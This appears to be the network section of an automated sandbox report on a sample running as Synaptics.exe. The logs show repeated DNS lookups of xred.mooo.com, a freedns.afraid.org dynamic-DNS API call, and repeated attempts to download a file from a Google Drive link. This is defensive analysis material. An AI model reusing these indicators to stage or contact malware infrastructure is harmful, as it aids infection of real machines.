Jan 2, 2025 20:29:36.845707893 CET	53	50467	1.1.1.1	192.168.2.9
Jan 2, 2025 20:29:36.854108095 CET	61188	53	192.168.2.9	1.1.1.1
Jan 2, 2025 20:29:36.861382961 CET	53	61188	1.1.1.1	192.168.2.9
Jan 2, 2025 20:29:37.149348021 CET	63082	53	192.168.2.9	1.1.1.1
Jan 2, 2025 20:29:37.156500101 CET	53	63082	1.1.1.1	192.168.2.9
Jan 2, 2025 20:29:40.939296007 CET	62266	53	192.168.2.9	1.1.1.1
Jan 2, 2025 20:29:40.946362972 CET	53	62266	1.1.1.1	192.168.2.9
Jan 2, 2025 20:29:46.620368958 CET	63260	53	192.168.2.9	1.1.1.1
Jan 2, 2025 20:29:46.627355099 CET	53	63260	1.1.1.1	192.168.2.9
Jan 2, 2025 20:29:51.139348030 CET	65109	53	192.168.2.9	1.1.1.1
Jan 2, 2025 20:29:51.146516085 CET	53	65109	1.1.1.1	192.168.2.9
Jan 2, 2025 20:29:56.964132071 CET	59158	53	192.168.2.9	1.1.1.1
Jan 2, 2025 20:29:57.112943888 CET	53	59158	1.1.1.1	192.168.2.9
Jan 2, 2025 20:30:03.933608055 CET	65195	53	192.168.2.9	1.1.1.1
Jan 2, 2025 20:30:03.941279888 CET	53	65195	1.1.1.1	192.168.2.9
Jan 2, 2025 20:30:10.825476885 CET	55235	53	192.168.2.9	1.1.1.1
Jan 2, 2025 20:30:10.832511902 CET	53	55235	1.1.1.1	192.168.2.9
Jan 2, 2025 20:30:15.386799097 CET	51392	53	192.168.2.9	1.1.1.1
Jan 2, 2025 20:30:15.394491911 CET	53	51392	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 2, 2025 20:29:36.022766113 CET	192.168.2.9	1.1.1.1	0x6bc8	Standard query (0)	docs.google.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:29:36.838140011 CET	192.168.2.9	1.1.1.1	0x8826	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:29:36.854108095 CET	192.168.2.9	1.1.1.1	0xdf22	Standard query (0)	freedns.afraid.org	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:29:37.149348021 CET	192.168.2.9	1.1.1.1	0x77c4	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:29:40.939296007 CET	192.168.2.9	1.1.1.1	0xdea6	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:29:46.620368958 CET	192.168.2.9	1.1.1.1	0xe419	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:29:51.139348030 CET	192.168.2.9	1.1.1.1	0xdd16	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:29:56.964132071 CET	192.168.2.9	1.1.1.1	0x6ec4	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:30:03.933608055 CET	192.168.2.9	1.1.1.1	0x98e5	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:30:10.825476885 CET	192.168.2.9	1.1.1.1	0xe333	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:30:15.386799097 CET	192.168.2.9	1.1.1.1	0x7e69	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 2, 2025 20:29:20.876027107 CET	1.1.1.1	192.168.2.9	0xde0d	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 2, 2025 20:29:20.876027107 CET	1.1.1.1	192.168.2.9	0xde0d	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:29:36.029284000 CET	1.1.1.1	192.168.2.9	0x6bc8	No error (0)	docs.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:29:36.845707893 CET	1.1.1.1	192.168.2.9	0x8826	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:29:36.861382961 CET	1.1.1.1	192.168.2.9	0xdf22	No error (0)	freedns.afraid.org		69.42.215.252	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:29:37.156500101 CET	1.1.1.1	192.168.2.9	0x77c4	No error (0)	drive.usercontent.google.com		216.58.206.65	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:29:40.946362972 CET	1.1.1.1	192.168.2.9	0xdea6	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:29:46.627355099 CET	1.1.1.1	192.168.2.9	0xe419	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:29:51.146516085 CET	1.1.1.1	192.168.2.9	0xdd16	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:29:57.112943888 CET	1.1.1.1	192.168.2.9	0x6ec4	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:30:03.941279888 CET	1.1.1.1	192.168.2.9	0x98e5	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:30:10.832511902 CET	1.1.1.1	192.168.2.9	0xe333	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:30:15.394491911 CET	1.1.1.1	192.168.2.9	0x7e69	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:30:39.312104940 CET	1.1.1.1	192.168.2.9	0xf61a	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 2, 2025 20:30:39.312104940 CET	1.1.1.1	192.168.2.9	0xf61a	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

docs.google.com

drive.usercontent.google.com

freedns.afraid.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49797	69.42.215.252	80	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2025 20:29:36.867754936 CET	154	OUT	GET /api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978 HTTP/1.1 User-Agent: MyApp Host: freedns.afraid.org Cache-Control: no-cache
Jan 2, 2025 20:29:37.479986906 CET	243	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 02 Jan 2025 19:29:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Cache: MISS Data Raw: 31 66 0d 0a 45 52 52 4f 52 3a 20 43 6f 75 6c 64 20 6e 6f 74 20 61 75 74 68 65 6e 74 69 63 61 74 65 2e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 1fERROR: Could not authenticate.0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49788	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:36 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:29:37 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:36 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-4inL9mhOH5dhINdFXB-jfg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49789	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:36 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:29:37 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:37 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-GFYliINaKJjUZHIpC7c6GQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49802	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:38 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:29:38 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:38 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-oJHZ-47rAc6y57KNA6yMSQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49803	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:38 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-01-02 19:29:38 UTC	1602	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4LBabmw4sT-JCsvcoTPhNiO-1m02otZQQGE9xdHg-6PLurMKidHJjFnAIPmCwAqxajN8Dxo38 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:38 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-wWgwTKH6t-2j3wTNXqfVig' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Set-Cookie: NID=520=fZA4XEw0IB_O5e5GvvE9ZL61MourSYCLW4n49L-tpYAs5QVL2SSuT-IW2CHvtVC8u_TXQ1NbfC_ymJASow0-5yD5bbl6-5JQobNf0fu6uVZpzjI7nVzUFdgFbVkSalmF1R3Z-YOyhca31ozlkhMmLyLjXTBKKLzeFdtKepte_Mdbpcgn9RZeNQRm; expires=Fri, 04-Jul-2025 19:29:38 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:38 UTC	1602	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4e 45 50 67 38 7a 72 77 78 31 73 70 58 61 5a 4a 65 5a 4e 75 33 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="NEPg8zrwx1spXaZJeZNu3w">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-01-02 19:29:38 UTC	50	IN	Data Raw: 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: is server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49804	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:38 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:29:38 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:38 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-zYL4tlKpIHgK3IDfDNmMUg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49805	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:38 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-01-02 19:29:38 UTC	1602	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5PKj0gjZlvsCdru1uVNVr4MdtZMc4AQh_qUyFhF0Dn7iWspvKkjx3XTHzkZihEhVrZwzdUuCM Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:38 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Security-Policy: script-src 'report-sample' 'nonce-62o_YLA8cl8YfHLHe_CXNw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Set-Cookie: NID=520=YEndgGdZr8HdDID1Vij3o43G0uyZAjGGe75mH81jI0SidRmzMFA61fI8c-2mKRwlZjHee06yoNi2xLr2zeDivgMDa4OM57x0Ftt78Uy8abbKfqNAJMVQaFMthPAL-r46LQxgk8QW_qAVWyDJ7EAv62cj5dyZTVEi6VKrsS9i99dIafXw8VQXYox1; expires=Fri, 04-Jul-2025 19:29:38 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:38 UTC	1602	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 66 5f 55 55 79 64 6f 2d 42 58 73 38 53 77 31 63 47 63 64 59 6d 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="f_UUydo-BXs8Sw1cGcdYmg">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-01-02 19:29:38 UTC	50	IN	Data Raw: 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: is server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49814	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:39 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:29:39 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:39 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-euTvY0uhsMLlGbpPLGDTyA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49813	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:39 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:29:39 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:39 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-LLDIVZ1RQW91AuoQidvRRw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	49815	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:39 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-01-02 19:29:39 UTC	1594	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6sC2lZrJA-l3hOYAiPt0lyQyjLwqFdVM33GOHBJBpjiv552WQusJ8_F5JMSQZK-z5N Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:39 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-H2_9HJIzCwczujo_3Z1K_A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Length: 1652 Server: UploadServer Set-Cookie: NID=520=hVlbUWvKAsXXeF2w1QNF8q5JgoN1tzf87ge04HU4z-izoj3_LDtGDRc8bxdZ01BsH-o2bzsVRFQ5r_WfhaVrhAteUAMZUwwIBUUg2Bex0dX01kJtDPaFFK0wIq1WKZ5eH2OJNc4egmV2sSWKiE-nh0MxGmLMyVzjQur-zpbgCqpOWYbRsspUiMg; expires=Fri, 04-Jul-2025 19:29:39 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 